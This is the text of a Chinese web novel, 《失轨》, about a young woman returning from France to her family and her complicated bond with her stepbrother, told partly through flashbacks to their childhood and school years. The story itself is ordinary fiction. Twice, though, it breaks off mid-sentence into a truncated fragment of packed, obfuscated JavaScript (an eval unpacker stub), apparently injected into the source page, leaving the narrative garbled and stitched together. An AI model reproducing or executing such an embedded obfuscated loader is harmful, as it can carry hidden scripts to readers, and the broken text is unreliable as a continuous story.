《失轨》 1. 好哥哥 林知睿以为自己不会这么快回国。 至少还得再漂泊个四五年才回来。 回来…… 面对他。 * 一架自巴黎戴高乐直飞上海浦东的国际航班准时降落。 飞机还在滑行时,林知睿就接到了邹诚电话,说自己已经到地下停车场了。 邹诚是林知睿继父,十二岁时她妈妈林韵再婚。 一晃十年过去了。 这是自四年前出国留学,林知睿第一次回国。 大四快毕业时,林总让她回来报考国内的研究生,她不愿意,母女俩为此吵过好几次。 为此,家里还断了她生活费,想逼她回国。 林知睿硬气,没开口问林总要过一分钱。 她问继父邹诚要钱。 邹诚偷偷换了外币给林知睿汇过去,有同事正好出差去法国,就人肉带过去。 这么维持了一段时间,终究被林总发现。 于是邹诚的生活费也断了。 林知睿只能自力更生。 顽强了一段时间后,某天林知睿正在火车上,接到了邹诚电话。 因为这个电话,她不得不在下一个火车站下车,遗憾地结束这趟横跨法国、瑞士、奥地利,最终目的地捷克,还没开始就夭折的旅行。 浦东机场很大,林知睿绕了两圈才找到B2。 林知睿一出现,停在不远处的车里下来道瘦高身影。 邹诚快步走到她身边,接过她手里行李,温和地问:“累了吧?” 邹诚是大学讲师,长相斯文,气质儒雅。 “还行,”林知睿抬手揉了揉脖子,“两杯红酒三部电影四顿机餐而已啦。” 因为回来得急,她只买到经济舱。 林大小姐全身都写着“疲惫”二字。 邹诚笑着把行李放进后备箱。 林知睿上了车才发现车里还有人。 一个应该躺在病房里、她为此急匆匆赶回来看望的病人。 邹诚上车后,猜到林知睿在想什么,解释道:“你妈妈前几天刚做完手术,原本还要再住几天院,知道你今天回来,才提前……” 副驾驶上的林韵打断邹诚:“走吧。” 车开出机场,看到停车费用时,林知睿默默算了算。 这是等了两个小时了…… 她这才重新看向前面座椅上的人。 林韵林总,她的亲妈,一言不合断自己生活费,让她独自在外艰辛讨生活。 在别人眼里,商场上叱咤风云的女强人,在林知睿眼里,却是残酷,独裁,专制的女暴君。 可女暴君刚动完手术没多久就出院,只为了第一时间给女儿接机,奉行效率至上的人,提前了两个小时等候。 她甚至还特地喷了自己最喜欢的香水。 林知睿动了动腰,身体往前探,下巴抵在靠背上,软软叫一声:“妈妈……” “你抽烟了?”林韵突然偏头看过来。 “什么?”林知睿一下子没反应过来。 “我问你,”林韵看向她的目光锐利,“你在国外是不是学会抽烟了?” 林韵长得明艳大气,气场超强。 林知睿更像父亲江奕,典型的江南美人,五官精致,肤白如瓷,但那双乌黑的大眼睛,完美复刻了林韵。 不同的是,林韵的目光总带着令人胆颤的审视,而林知睿的眼睛里,像是落入了星光,不用说话,光是拿这双眼睛瞧人,就让人心里不由怦怦直跳。 总之就是很会投胎,身上全是父母的优点。 此时林韵看着女儿的目光里,不止审视,还有失望。 林知睿脸上的表情一点点褪去,她往后坐回去,没吭声。 “说话。”林韵语气严厉。 “我没抽烟。”林知睿说。 “没抽烟?怎么嘴里一股薄荷味?”林韵冷哼,“你吃口香糖不就为了掩盖烟味吗?” “我吃口香糖是为了掩盖抽烟,那我要是刷了牙,您不得认为我抽……” “林知睿!” “好了好了,”邹诚出来打圆场,“不就是吃口香糖么,怎么就扯上抽烟了?再说了,就算抽,只要控制好量,也没什么。” “没什么?”林韵冲着邹诚说,“你告诉我,抽烟的好处是什么?是嫌身上不难闻,还是怕自己命太短?” “话不是这么说。” “那要怎么说?”林韵拿手指了指邹诚,再往后指林知睿,说起另一件让她心梗的事,“要不是你偷偷给她转钱,她就不会在外面浪费这么多时间,不会错过考研!” 当初林知睿不听她的劝,一心要出国念书,现在大学毕业了,既不愿意在国外继续深造,也不想回来。 问她毕业后有什么计划,她永远就那两个字—— 再说吧。 得过且过,不思进取。 对于一路名校,各种光环加身,现在又是上市公司老总的林韵来说,简直无法容忍。 邹诚脾气好,无论林韵怎么冲他发脾气,他都耐着性子哄,红灯车停时,也没避讳林知睿,握住林韵的手,放在手里安抚地捏着。 林韵抽了两下,没抽出来,也就任他去了。 她别过头看着车窗外,不咸不淡道:“你们俩合起伙来骗我,这件事我记一辈子。” 林总话虽说得狠绝,态度明显好了很多。 林知睿心里松了口气。 她不打算再念书,暂时也没定下来的想法。 林总说她不在乎自己的未来,但她恰恰是因为在乎,才没轻易做决定。 她才二十二岁,还很年轻,有很多地方没去过,有很多事没做过,单薄的见识和人生阅历不足以让她做出“人生规划”这么重要的决定。 但她的这些想法,父母不一定能理解。 她理解父母的这种不理解。 好在邹诚把林总哄好了。 回国第一天,她不想因为这些事和她闹僵。 坐了十多个小时的飞机,林知睿累极了,她缩着肩膀,后背完全陷在皮椅里,头歪靠着,透过车窗望着不断闪退的街景。 四年的时间,当然会有变化,但还不足以翻天覆地,还是那些高耸入云的大楼,交通四通八达,车水马龙,川流不息。 哦,好像外卖员比四年前多了很多。 林知睿半眯着眼睛,又困又累,手下意识往口袋里摸。 口袋里有半包烟,打火机上飞机时扔了。 她捏了捏,轻微的窸窣声掩盖在胎噪中。 她刚才确实没抽烟,只是单纯地吃了片口香糖。 林知睿没什么烟瘾,情绪不好时偶尔会抽一根。 她在法国的闺蜜说别人抽烟就是抽烟,而她抽烟是在向世人展示女人抽烟可以有多美。 青色冉冉的烟雾,是滤镜,是高光,是迷死个人。 她经常抽的是一款女士烟。 细细长长,抽完嘴里会残留一点薄荷味。 她第一次看见有人抽这烟,是十八岁那年。 捏碎爆珠,薄荷混合着尼古丁被吸进口腔。 青色升腾的烟雾中,是怪异又令人难忘的味道。 当时没意识到是在吸二手烟,想的是—— 从他嘴里出来的东西又被她吸进了肺腑中,短暂地停留在她身体里。 * 为了给林知睿接风洗尘,邹诚特意定了她爱吃的火锅店。 环境清幽的小包厢内,服务员将菜品上全,火锅滋滋翻滚,连空气里都漂浮着麻辣因子。 “看看,还想吃什么,我再点。”邹诚问。 “我想吃虾滑。”林知睿说。 邹诚马上下单。 看到那盘端上来的虾滑,林韵眉心紧蹙。 她向来不爱吃虾和扇贝一类,觉得腥气重。 林韵放下筷子,对邹诚说:“你给明远打个电话,问问他到哪儿了。” 林总嘴里的人是当年邹诚和林韵结婚时,邹诚那边带过来孩子。 余明远的身份有点特殊。 他十二岁时跟着母亲余听澜改嫁,邹诚成为了他的继父; 三年后余听澜邹诚离婚,原本他和邹诚再无关系,但是他妈妈一走了之,把他丢给了邹诚,于是他就只能跟着没有血缘也没有法律关系的邹诚生活; 再过了一年,也就是他十六岁那年,他又跟着邹诚来到了林家。 也就是说,一家子人,没一个和他有血缘和法律关系。 “别等了,先吃吧,”邹诚举杯,笑着说,“来,我先敬睿睿一杯,欢迎回家!” 林知睿回敬,“谢谢邹叔。” 父女俩其乐融融。 林韵没和他们凑热闹,她拿起手机,“你不问我问。” 不等林韵打电话,对方先一步打给了邹诚。 邹诚接起电话,说了没几句就点开了免提。 “我开免提了,你直接说吧。” 在得知电话那端的人是谁后,林知睿刚夹的虾丸掉进锅里,激起一滴辣油溅在手背上,疼得她皱眉。 包间里响起平缓沉稳的声音。 “林姨,公司临时有事,不用等我。” “再忙也要吃饭,”林韵说,“你公司离这里又不远。” “我爸说您出院了?我刚和主刀医生打过电话,他说您坚持一定要出院。林姨,您还在术后观察期,怎么能提前出院呢?” 林韵无所谓道:“小手术而已,要不是你们拦着,我早出院了。” “这样吧,周末我陪您去我同学医院再做个检查。” “再说吧,公司里压着很多事……” 两人聊完,邹诚打算挂电话,电话那端突然叫了声。 “爸。” 邹诚顿了顿,“还有事?” 对面一时寂静。 邹诚想到什么,主动问:“要和睿睿说话吗?她去卫生间了,一会儿我让她给你打过来?” “不用了……刚才忘了跟您说,少喝点酒。” “没喝酒,我开车呢,睿睿喝了点RIO。” 一阵短暂的沉默,余明远说了个“好”,然后挂了电话。 打完电话,又过了会儿,林知睿才回来。 她才捞了个丸子还没吃,就感受到旁边一道令人无法忽视的视线。 林知睿偏头问:“怎么了?” “没事,”林韵收回视线,“吃你的。” “哦……” 林知睿一边觉得莫名其妙,一边又觉得林总刚才那眼神似乎是在批判她—— 你看,隔了层肚皮的都知道心疼我,你这个亲生的只知道吃吃吃。 虽然余明远不是从林总肚子里出来的,但林知睿知道林总很喜欢她这个继子。 林总是聪明人,所以也喜欢聪明人。 余明远初中才从北方城市搬来上海。 两地教材区别很大,听说他刚上初一时成绩还是垫底的,但三年后,他就以全校第一的成绩考上华二尖子班,后来又考进了交大。 你以为他是考不上清北吗? 不,他考交大,是因为交大是林总的母校。 马屁精。 林知睿心虚低头,亲自给林总夹菜。 “妈妈,多吃点,刚开完刀要补补身体。” 林韵看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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餐桌上摆了一叠素馅儿的小包子,煎好的培根,金黄的炒鸡蛋。 余明远将一碗放了紫菜和开洋的小馄饨放在林知睿面前。 吃之前她数了数,一共二十二个。 两人面对面坐着吃早点,谁也没开口。 吃完林知睿擦擦嘴就上楼了。 踩上第一个台阶时身后传来余明远的声音。 “林知睿。” 林知睿当做没听见,继续往楼上走。 “林知睿。”他又叫她一声。 “林知睿。”又一声。 林知睿终于停住脚步。 她没转身,懒懒地应:“干吗?” 等了很久他的声音才再次响起。 “抱歉……” “又不是什么大事,工作重要,”林知睿淡淡地说,“再说你也不爱吃火锅。” 林知睿以为,他是为昨天没来给自己接风洗尘道歉。 两人的口味天差地别。 林知睿喜欢吃火锅烧烤这些重口味的东西,而余明远吃口清淡,少油少盐,吃得那叫健康。 余明远刚来家里时,许阿姨就曾为怎么兼顾两个孩子的口味伤脑筋过。 后来自然是余明远妥协。 小时候的林知睿就是个小阎王,一不顺心就闹脾气,谁都要摇摇头说一句被宠坏了,更别说余明远跟着父亲入赘林家,身份尴尬,本就处处让着她。 但无论怎么妥协,迁就,不适应就是不适应,不喜欢依然不喜欢。 林知睿想,她走的这几年,他终于不用再忍受有关自己的一切了。 余明远不知道在想什么,一直没说话。 不知过了多久,他突然站起身,动作有点急躁,身后椅子在地板上拖出刺耳声响。 “我好困,先睡去了。” 不等他走过来,林知睿打了个哈欠,朝他摆摆手,往楼上走去。 回到房间,林知睿躺上床。 说着困的人却睁着眼睛,盯着天花板发呆。 房间很干净,连天花板都一尘不染。 房间里她的东西都在原位,衣橱里甚至还挂着她的高中校服…… 什么都没变。 就好像她只是出去玩了四天又回来了。 但事实上,什么都变了。 就像余明远刚才叫她名字时的语气。 就像…… 他们是世俗意义上,客套疏离的继兄继妹。 胡思乱想时,林知睿听到走廊上响起脚步声,脚步声在经过她房间时似乎停顿了一下,快得像是她的幻觉。 隔壁房间的门被打开,再关上。 很快她又听到一墙之隔传淋浴器的“哗哗”声,吹风机的“呜呜”声音,电动牙刷的“嗡嗡”声…… 林知睿伴着这些声音再次入睡。 浅表的睡眠,容易做混乱的梦。 梦里的白衬衫变成了白色T恤,料子薄,出了汗粘在身上,透出清晰的腹肌轮廓。 少年的肌肉薄削而紧实。 夜色中一道寂寂的影子,指尖的星火随着夜风明灭。 青色袅袅的烟雾中,看不清他的脸。 她深深地呼吸,尼古丁和薄荷同时冲进鼻腔,再争先恐后地往胸肺里钻。 太浓了。 她快要无法呼吸了。 只能张开嘴,大口大口地呼吸。 她想问他什么时候学会的抽烟,却听见自己说—— “余明远。” “哥哥,好哥哥,你教我接吻吧?” 2. 热死了 父母离异后,林知睿跟着林总搬到了外公留下的一处房子。 位于上海市区老弄堂里的一栋小洋房。 浅弄堂,只有六幢房子,都是接近一百年历史的老洋房。 林家在弄堂最后一幢,独栋独院。 夏天外墙爬满碧绿的爬山虎,秋天墙根铺满厚厚一层梧桐叶。 这一片原先是法租界,走出弄堂就是著名的长乐路,成排的法国梧桐一直延伸到马路尽头,街边开着小资情调很浓的咖啡店和买手店。 小学毕业的暑假,林知睿第一次在这里见到余明远。 他从学校过来,作为这届新生第一,刚刚接受了学校领导的接见慰问。 十六岁的少年穿着白衣黑裤的校服。 高瘦,白净,戴一副细边框的眼镜。 除了身高,林知睿觉得余明远不像北方人。 暮色四合,光线透过梧桐叶,稀疏斑驳。 林知睿看着眼前的人,在淡金色的光线中,静寂清峻,像远山浅雾中皑皑不化的雪山。 司机往车下搬行李,少年礼貌地道谢,等司机转身离开,抽出张纸巾擦拭行李箱拉杆。 有点装的洁癖。 这是林知睿对他的第一印象。 “看什么呢?”林韵朝她招手,“过来叫人。” “先进去吧,”邹诚笑着说,“睿睿怕热。” 盛夏的上海完全就是个大蒸笼。 闷热潮湿,黏黏糊糊。 林知睿怕热。 一到夏天,家里空调温度打得很低。 她总说没有空调自己就会死,发明空调的人是世界上最伟大的人。 后来没有空调,她也没有死。 余明远拿报纸给她扇风时,她说哥哥是世界上最伟大的人。 林知睿叫邹诚叔叔,叫余明远哥哥。 她很快就接受了邹诚父子搬过来一起住。 至少林韵和邹诚是这么认为的。 余明远一开始也这么觉得。 直到那天,他从图书馆回来的路上突降暴雨,忘了带钥匙,敲了半天门,没人应声。 林韵、邹诚和许阿姨都不在。 他浑身湿透,站在廊下,望着铁门外,街对面的梧桐树叶在暴风雨中肆虐飘零。 半个小时后,听到屋里座机的电话铃响,然后是林知睿的声音,“没回来,伐晓得,又不是十三点,肯定在哪里躲雨的呀……” 不太纯正的上海话,普通话混着方言,是这一代上海小孩的通病。 打完电话,又过了几分钟,门被打开。 林知睿站在门后,毫不掩饰眼里的厌恶之色,她说:“余明远,你怎么还不滚出我家。” 十二岁的林知睿是护食儿的小狗。 谁抢她的东西,她就扑上去咬。 明面上不敢咬,那就暗地里撕咬。 她护的是大家对她的宠爱。 邹诚是长辈,只会给予她宠爱,所以她能接受邹诚,余明远不能,他仅仅比她大四岁,和她一个辈分。 他只会和她争抢她妈妈、许阿姨,还有其他人的关注和宠爱,更何况他那么优秀,轻易就能盖住她的光芒。 他才住进来没几天,她就不止一次在饭桌上听她妈妈提进了华二尖子班,就等于清北预备,每一次总要提上一句,让他多帮助妹妹的学习。 谁要他帮。 小孩子的嫉妒来得毫无道理却又汹涌澎湃。 自从那次下雨,她故意不给他开门后,背着大人,私底下她对他的不满和厌恶愈加明显。 当着大人们的面,一口一个“哥哥”,亲亲密密,不知道的以为两人是亲兄妹。 但背地里却是截然不同的态度。 他的房间她想进就进,他的东西她想用就用,他喜欢的东西她偷偷扔掉,他不喜欢的她偏要他接受。 她吃着甜筒,冰激凌融化在手指上,她抬手擦在他深色的校裤上,然后仰着脸,天真地说哥哥你怎么把自己搞得脏兮兮的。 余明远不和她计较。 毕竟是比她大四岁的高中生,她再作再闹,在他眼里都只是个没长大的小姑娘,更何况还是他妹妹。 他沉默又大度地承受着她的讨厌和针对。 被妹妹讨厌,却还要帮妹妹复习功课。 林韵对林知睿的学习要求很高。 林知睿在一所著名的民办初中,她本身不差,但周围的同学家长都太卷了,除了卷成绩,连会多少乐器拿过多少奖项都要卷。 小升初的暑假,林知睿不是在上补习班就是在去补习班的路上。 开学后,某次林知睿终于崩溃爆发后,林韵才收敛一点。 但林总妥协的底线是外面不学就在家里学。 邹诚提议让余明远给妹妹补习,毕竟是自己哥哥,睿睿不会那么抵触。 林知睿确实没那么抵触,她只会在余明远教功课时变本加厉地欺负他。 一次次用他的洁癖挑战他的底线。 大概是忍得太多,在妹妹面前,他渐渐不再洁癖。 不过时好时坏。 比如没有包装的食物他不吃,但妹妹亲手剥的橘子,他会放进嘴里;比如他不喜欢与人有肢体触碰,但妹妹趴在书桌上睡着了,他会把人抱到床上,替她盖上小毯子,将含在她嘴角的一簇发丝勾出来…… 欺负归欺负,讨厌归讨厌,林知睿不得不承认,余明远教得不错。 当然在这个过程中,她会摆烂,会发脾气,会因为一次考试不理想而迁怒他。 “睿睿——”许阿姨在门外叫她吃晚饭。 林知睿说我不吃,今天不吃明天也不吃,她要把数学最后一题做错的自己饿死。 许阿姨劝了半天劝不动,叹着气下楼。 没多久门外又响起了敲门声。 林知睿吼:“我说了不吃!” 门被推开的同时,一本习题册“唰”地飞过去,被人眼明手快地接在怀里。 小臂被书皮划出一道很浅的口子,余明远没去管,只微微皱眉,“怎么知道是我?” “许阿姨才不会这么没礼貌随便进我房间!”林知睿口气很冲地说。 余明远走过去,将习题册放回书桌上。 林知睿想将桌上的试卷塞回抽屉,试卷被他抬手摁住。 “你干吗!”她抬头,恶狠狠地瞪人。 余明远没在意她恶劣的态度,他抽走被她压住的数学卷子,认真看起来。 他看的明明是卷子,但林知睿却有种自己被扒光了袒露在他眼前的羞耻感。 此时的余明远已是准交大学生。 父母长辈眼里,聪明优秀,堪称完美。 就在不久前,查到他高考分数后,就连一向不待见他的林知睿,也对他产生过短暂的仰慕。 余明远高考完,接着就是林知睿的中考。 余明远将卷子放下,不发一语。 这让林知睿心里像吊了个酒瓶。 酒瓶子左右晃荡。 “咚咚咚”地撞击着她所剩无多的自信心。 这次数学没考好让她受到了打击,但远没有被余明远鄙视让她更觉得难受、羞愤,无地自容。 “这道题,”余明远终于出声,指着最后那道数学题,“题干错了,少给了一个条件。” 林知睿抬头,才发现两人离得很近。 余明远的眉眼轮廓,因此看得很清晰。 明亮的台灯,让他的肌肤有一种温凉暖玉的质感。 她突然有些不自在地移开视线,抿了抿嘴角说:“就算题目出错,我也没做对。” “既然题目出错,”他从笔袋里拿出支红笔,将试卷上老师打的“×”划掉,然后在旁边打上“√”,对上林知睿怔愣的目光,认真地说,“那么无论你的答案是什么,都不算错。” 他的声音细腻柔和,听在耳朵里的每一个字都让人感到莫名的舒服。 “只有负负得正,哪有错错得对的?你老是说这种话哄我。”林知睿话虽这么说,语调却明显轻快起来。 他没有反驳,抬手拨了拨她肩头几簇乱发,哄着她说:“回来路过王家沙,给你买了蟹壳黄,下楼吃还是我给你拿上来?” 生气归生气,讨厌归讨厌,不得不说,她的这位继兄哄人很有一套。 他是她迄今为止见过情绪最稳定的人,无论她怎么作闹、不讲理,最后都被包裹进他那片深沉平静的汪洋之中。 翻不起风浪。 可后来经历的那些事,让林知睿明白—— 如果题目一开始就错了,无论自己再努力解题,都得不到正确答案。 中考出分后,林韵宣布全家去国外度假。 本该很高兴的事,却在出发前的晚上,家里闹起来。 闹的是林知睿和林总。 为了要不要出国。 不是出国度假,而是出国留学。 比起林韵的严格和独裁,林知睿从小就喜欢黏着爸爸江奕。 江奕是个画家,才华横溢,在圈子里很有名。 他性格豁达,自由又浪漫。 林知睿知道她爸爸这些年在法国,她曾经和林韵谈过,初中毕业后想去法国找他,和他一起生活。 林韵自然不同意。 林知睿坚持认为她有选择和谁生活的权利。 母女俩为此冷战,整整一个月不说话。 后来林韵改口,说她想要高中出国,就必须在中考考出令自己满意的成绩,证明她不是为了逃避中考才出去。 林知睿做到了,她的中考考分很高。 可林韵反悔了。 林韵没给女儿办出国,也没跟她沟通就直接填报了中考志愿。 母女俩为此吵得不可开交。 当林知睿说出“我要是爸爸也会和你离婚”,脸上结结实实挨了林韵一巴掌。 被打的林知睿哭得很凶,许阿姨把她抱在怀里,心疼地叫“囡囡”。 最后没办法,度假是去不成了。 邹诚让余明远先带林知睿离开,希望母女俩都能冷静冷静。 余明远叫了辆车带着妹妹离开。 下车后,林知睿抹着眼泪跟在余明远身后。 穿过陌生的马路,走进昏暗的楼道,直到站在一扇铁门前,她才抽抽搭搭地问这是哪里。 余明远告诉她,这是他之前住的地方,在邹诚和林韵结婚前,他们父子俩就住这里。 没有电梯的老房子,一梯四户,家里只有最简单的家具和电器,好在前些天邹诚朋友借住过,房子里没什么怪味。 但余明远还是开窗通风,并把可能引起林知睿反感的东西全都收起来。 林知睿屈膝坐在客厅沙发上,目光无神。 余明远走过去递给她一瓶矿泉水,“水壶我在消毒,先喝这个。” 林知睿接过水瓶,刚从冰箱里拿出来,瓶身冒着丝丝寒气,她把瓶子垫在下颌和膝盖之间。 恹恹地说:“我要热死了。” 我要热死了,我要渴死了,我要累死了,我要痛死了,夸张手法被她运用得炉火纯青。 “空调开了,但得通风,”余明远解释,“先忍忍。” “我们为什么要住这里?”林知睿问,“为什么不住酒店?” “你有钱吗?”余明远问。 “我当然……”林知睿垂下头。 她有钱,光是这些年的压岁钱就不少,存在林韵给她开的账户上,由林韵管理。 “你没有吗?”她理所当然地问,“你应该有钱的吧?” “我有钱,”余明远瞥她一眼,“但我不乱花钱。” “可是……” 余明远不和她探讨为什么不住酒店,他只告诉她:“两个房间,一间有空调,一间没……” “我选有空调的!”林知睿手举得高高的,生怕举慢一秒就和空调失之交臂。 林知睿从小被宠坏了,闹脾气时跟林总都不落下风,什么扎心窝子的话都往外倒,但脾气来得快去得也快,脸还肿着呢就把刚才的事抛在脑后,开始找余明远的不痛快。 什么被单有味道枕头不干净空调不制冷,连楼下草丛里此起彼伏的青蛙叫也要怪在余明远身上。 许阿姨一急起来就叫林知睿“小祖宗”。 余明远过去不理解,她怎么就担得起“祖宗”这样的辈分了? 现在他明白了,明白这位比祖宗还难伺候。 洗澡水的温度要适宜,水流不能过大,沐浴乳和洗发水的味道不喜欢不用,牙膏牙刷勉勉强强接受了,又说塑料拖鞋硌脚,要软软的棉拖鞋。 好不容易把小祖宗哄上床,转而抱怨床垫太硬不舒服。 “就是不舒服,平躺侧躺趴着都试过了,怎么睡都不舒服。” 林知睿给许阿姨打电话抱怨自己受的委屈,许阿姨听完让余明远接电话,让他给林知睿床上多铺两条厚被子。 余明远只好把自己房间的被子抱过来铺她床上。 “那你晚上盖什么?”她没什么诚意地关心了一句。 余明远没说话,他站在床边,看她认真地试了试床垫的柔软程度。 她还是不满意,嘀嘀咕咕地说这里这么破怎么住人,说他小气巴拉,连酒店都舍不得让她住。 余明远突然叫她名字,“林知睿。” “干吗?” “叫哥哥,”余明远看着她,“林知睿,叫我哥哥。” “什么?”她抬头看他。 “我不是没脾气,”余明远俯下身,一片阴影落在她脸上,“但我永远不会对妹妹发脾气。” 他的口气听着挺正常,但也仅仅只是听着。 圣人也会被她磨得有火气。 他让她叫,她就得叫吗? 他以为这样就能吓唬她? 她当然不会如他所愿。 她只会气势汹汹地说:“余明远你想得美,我才不叫你哥哥,我现在不叫,以后也不叫,我这辈子都不会叫你一声哥哥!” 她话说得掷地有声,但仅仅一个小时后就食言了。 空调在发出一阵怪响后彻底停止了运转。 老公寓的夜晚酷热难熬。 就算开了窗,也无一丝凉风。 林知睿不得不半夜敲开隔壁房门,顶着一脑门的汗,委屈巴巴地说余明远我要热死了。 大晚上的没法修空调。 最后没办法,余明远拿报纸临时折了个扇形,手动给快要热死的妹妹扇风。 房间里只开了盏床头小灯,余明远搬了张椅子坐在床边。 林知睿侧躺在床上,尽量挨近床沿,让微弱的风能更多地吹拂到自己身上。 炎热的没有空调的盛夏夜晚,只有余明远手里那一点凉风。 昏沉间,她半眯着眼睛,看着床边的人。 他穿着简单的白T和黑色短裤,双腿岔开,斜靠在椅子里。 看着清瘦,其实体格高大,四肢匀长得过分。 昏暗的光线在他眉眼处投下一片阴影,从林知睿的视线看过去,从眉骨、鼻尖到下颚、脖颈和锁骨的线条,如蜿蜒嶙峋的山脊。 清隽而深刻。 余明远扇得很认真。 凉风习习,但林知睿却觉得热。 心里的热很快蔓延到了脑子。 于是她脑子一热,开了口—— “哥哥是世界上最伟大的人。” 林知睿本以为只在这里将就一晚上,没想到自己会在这间老破小里度过整个暑假。 邹诚没能成功调和母女间的矛盾,华二的录取通知书下来那天,母女俩彻底决裂。 林知睿说什么都不肯回家,余明远也只能留下陪她。 于是那个暑假,邻居们经常看见从菜场回来的余明远,两手提着塑料袋。 一楼的刘奶奶每回都要问上一句。 “小余啊,又给妹妹做什么好吃的?” 楼上的关阿姨说:“我看小余每天买的菜都不重样,看来妹妹的嘴叼着呢?” 余明远笑笑不说话。 嘴叼吗? 其实也就两样不吃—— 这样不吃,那样不吃。 余明远觉得,自己将来要有孩子,大概也就宠成这样 。 “余明远你会不会做鱼啊,这么多刺。” “这个菜炒得好老,不好吃。” “我不吃速冻的东西你拿走。” 余明远的厨艺在这两个月里被迫快速成长。 他的这个妹妹除了嘴叼,身体更娇贵。 余明远找人修好了空调,但毕竟是老古董了,修好了也没法把温度打下来。 他只好又给她买了个空调扇。 老房子电压不稳,开了这两个大功率的电器就不敢再开其他的。 最闷热的几天,余明远只能在林知睿房间打地铺睡。 林知睿睡相奇差,一米五的双人床,她能和时针似地转上一圈,被子被踢到地上。 晨起温度低,没盖被子,怕冷地蜷缩成团,一头长发顺着床沿垂下来。 余明远第一次在林知睿的“一帘幽梦”里醒来时差点没被吓死。 后来习惯了。 习惯醒来时脸上有她柔软的发,习惯她最爱的洗发水味道,习惯每晚醒过来,把人抱到床中间盖上毯子…… 林知睿在老破小里住了两月,也渐渐习惯。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林韵说十六年前的今天,我看到你的第一眼,就决定未来无论发生什么,都不会和你分开。 母女俩一个比一个犟,却又彼此深爱。 因为监护人不同意,林知睿自然没能去成法国。 这件事毕竟是林韵毁约在线,为了弥补对女儿的亏欠,她主动提出高中三年不给她报任何补习班,又给她买了两个超贵的单反镜头,这场母女间的战争才算结束。 补习班可以不报,但补习从没停过,只不过是把补习班搬回了家。 家里的学霸高材生,可是顶配的资源。 余明远上了大学后就住校了,为了给林知睿补课,周末来回奔波,有时不得不推了学校活动。 林知睿从小被宠坏不假,但知好歹,余明远给她补习时,认认真真,虚心求教。 余明远偶尔对她严厉,布置的练习题多了点,她什么话都说得出口。 什么“我的好哥哥”,“我最亲爱的哥哥”,“我天底下顶顶好的哥哥”。 她一口一个甜腻腻娇滴滴的“哥哥”,余明远不为所动,板着脸,一脸严肃。 她亲手剥了葡萄皮,捏着果肉喂他嘴里。 他含着满嘴酸甜,说那就少做一半。 到底心软,舍不得,那一半最后也不了了之。 林知睿说不清自己是什么时候开始频繁叫余明远哥哥的。 哥哥不是长辈,但年龄比自己大,他会像长辈一样无微不至地照顾自己,又能站在同辈的立场,理解甚至陪她一起参与某些奇思异想。 哥哥两个字,蕴含了照顾、保护和陪伴等等含义。 虽然余明远只是她的继兄,他们没有血缘关系,但他一直都做得很好,比亲哥哥还要好。 于是哥哥的含义里又多了份依赖。 等林知睿发现自己依赖余明远时,她已经吃过一碗十七个的鲜虾馄饨。 高三那年,林知睿没再吵着要去法国留学。 林知睿作天作地不假,但性格里的要强不服输像极了林总。 高中最后一年,林知睿果然加了把劲,自己加不够,连带着余明远也被迫跟着加。 除开每周末回家,平时余明远在学校,两人也天天打电话或视频教学。 余明远光凭自己就撑起了一个补习学校,经常语数外齐上阵。 林知睿高中三年,他陪着念了三年。 一个大学生,平时关注的不是学校各种有趣的活动,不是和谁谈一场风花雪月的恋爱,而是收集关注各种高考信息。 “老高,”余明远叫住同学,“上次和你说的事怎么样了?” “哦,要到了,整理好我一会儿发你。” 被叫老高的同学,姐姐是江苏当地一所重点高中的数学老师,不久前余明远托对方帮忙整理当地学校的高三卷子。 老高忍不住问:“上回我就想问了,你妹不是参加上海高考吗?要我们省的卷子干吗?这俩又不是一个赛道的。” 不仅赛道不同,也不是一个难度级别的。 经常有人吐槽,上海卷最后的大题,不过是人家江苏卷的选择题难度。 “提前让她先适应一下。”余明远说。 老高:“适应什么?” 余明远笑了下,“适应被摁着摩擦的滋味。” “余神,”老高突然表情凝重,“你老实告诉我,你其实超恨你妹吧?” 余明远眼底笑意渐深,点点头深表认同。 所谓恨之深责之切。 最后余明远在两百张试卷中精简提炼了十张,他自己全部做了一遍,再拿回去给林知睿做。 果然,林知睿被摩擦了。 但摩擦得好像有点狠。 不可一世的林家小阎王,做第一张时还算淡定,只比平时多花了半小时,做第二张时开始臭脸,做到第三张…… 余明远看着卷子评价道:“错误率有点高。” “啪”地一声,笔被用力拍在桌上。 余明远抬头看向怒火中烧的人。 这下被摩擦的变成了他自己。 “你故意拿这么难的卷子羞辱我?” “难吗?”余明远故作轻松,“还好吧……” “想看我出丑丢人还不容易?”林知睿抬手快速抹了下眼角,“你直接把竞赛题拿来不就行了?” “不是你说学校里的卷子没难度,外面的习题册也没挑战性吗?”余明远好脾气地解释,“这些卷子我做过,难度有,但你能做。” “是啊,”林知睿开始频繁抹眼角,“很有挑战性,非常有挑战性,我挑战失败,现在你满意了?” “我满意什么?”余明远抽了张纸巾,“你倒是说说看,我想对你做什么?” 他给她擦眼泪,可怎么也擦不完。 妹妹的眼泪是断线珍珠,噼里啪啦往下掉。 小珍珠们落在他手背上,滑入卫衣袖口。 腕间的皮肤一片冰凉凉,湿漉漉。 他只是觉得林知睿太骄傲了。 骄兵必败,他想给她一点小小的挫折教育。 “你想做什么?”她抽抽搭搭地说,“你不就是想搞我。” 空气有一瞬的凝固。 唯有林知睿的抽泣声断断续续。 不知过了多久,余明远才出声,声音又冷又沉,“林知睿,知道自己在说什么吗?” “说什么?”她泪眼朦胧,委屈又愤恨地看着他,“说你想搞我……” “林知睿,”余明远打断她,“别说了。” “你能搞,我不能说……嘶,余明远你弄疼我了!”林知睿打开他钳住自己手腕的手。 余明远将沾着妹妹泪水的纸巾捏在手心,他站起身,沉默地收拾书桌上的东西,平静地赶人。 “很晚了,回去吧。” “不回去,我今天非把这十张卷子全做完!” 余明远把卷子塞她怀里,一脸冷漠,“去吧,做完来找我要答案。” “我要在你房间做,”林知睿把卷子拍回桌上,“而且你要陪着我做,我做不完你也别想睡!” “林知睿!!”余明远没收住,几乎是朝她吼,“胡说八道什么!” 林知睿被震住了,泪珠子还挂在眼角,怔愣不解地看着突然暴走的哥哥。 “林知睿……”余明远闭上眼睛,缓了缓声,“离开我的房间。” 